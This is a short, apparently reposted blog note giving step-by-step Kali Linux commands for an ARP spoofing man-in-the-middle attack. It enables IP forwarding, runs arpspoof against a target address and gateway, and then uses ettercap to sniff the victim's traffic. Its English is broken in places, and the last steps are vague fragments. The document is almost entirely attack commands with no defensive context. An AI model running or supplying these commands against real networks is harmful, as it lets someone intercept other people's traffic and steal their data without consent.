arpspoof -i interface ( -c own|host|both ) -t target (-r) host_gateway
kali is not support to forward itself.
1.
open:
echo 1 > /proc/sys/net/ipv4/ip_forward
1 start
0 end
2.
cat /proc/sys/net/ipv4/ip_forward
3.
arpspoof -i eth0 -t 192.168.148.129
4.
ettercap -Tq -i eth0
5.
be tracked pc test
6.
tracked ps find
原文：http://www.cnblogs.com/wanghui626/p/7580976.html